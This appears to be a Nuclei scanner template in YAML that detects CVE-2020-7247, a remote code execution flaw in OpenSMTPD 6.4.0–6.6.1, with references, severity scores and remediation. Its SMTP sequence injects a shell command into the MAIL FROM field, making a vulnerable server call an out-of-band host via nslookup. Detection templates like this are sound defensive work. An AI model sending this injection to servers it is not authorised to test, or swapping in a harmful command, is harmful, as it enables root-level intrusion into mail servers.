65 lines
2.2 KiB
YAML
65 lines
2.2 KiB
YAML
id: CVE-2020-7247
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info:
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name: OpenSMTPD 6.4.0-6.6.1 - Remote Code Execution
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author: princechaddha
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severity: critical
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description: |
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OpenSMTPD versions 6.4.0 - 6.6.1 are susceptible to remote code execution. smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation.
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reference:
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- https://www.openwall.com/lists/oss-security/2020/01/28/3
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- https://nvd.nist.gov/vuln/detail/CVE-2020-7247
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- https://github.com/openbsd/src/commit/9dcfda045474d8903224d175907bfc29761dcb45
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- http://www.openwall.com/lists/oss-security/2020/01/28/3
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- http://packetstormsecurity.com/files/156145/OpenSMTPD-6.6.2-Remote-Code-Execution.html
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remediation: OpenBSD users are recommended to install patches for OpenBSD 6.6
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-7247
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cwe-id: CWE-755
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cpe: cpe:2.3:a:openbsd:opensmtpd:6.6:*:*:*:*:*:*:*
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epss-score: 0.9749
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metadata:
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max-request: 1
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product: opensmtpd
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vendor: openbsd
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tags: cve,cve2020,smtp,opensmtpd,network,rce,oast,kev
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tcp:
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- host:
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- "{{Hostname}}"
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port: 25
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inputs:
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- read: 1024
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- data: "helo target\r\n"
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read: 1024
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- data: "MAIL FROM:<;nslookup {{interactsh-url}};>\r\n"
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read: 1024
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- data: "RCPT TO:<root>\r\n"
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read: 1024
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- data: "DATA\r\n"
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read: 1024
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- data: "\r\nxxxx\r\n.\r\n"
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read: 1024
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- data: "QUIT\r\n"
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read: 1024
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "dns"
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- type: word
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part: raw
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words:
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- "Message accepted for delivery"
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# digest: 480a00453043021f7ef5362908882561d6dde64d53453b3152f39facf5bff6026ace711a28cafe02205cacf57b6193d5ab548c77baacf66b68439fbb63c343b4ecfd1fb3253b1a026f:922c64590222798bb761d5b6d8e72950 |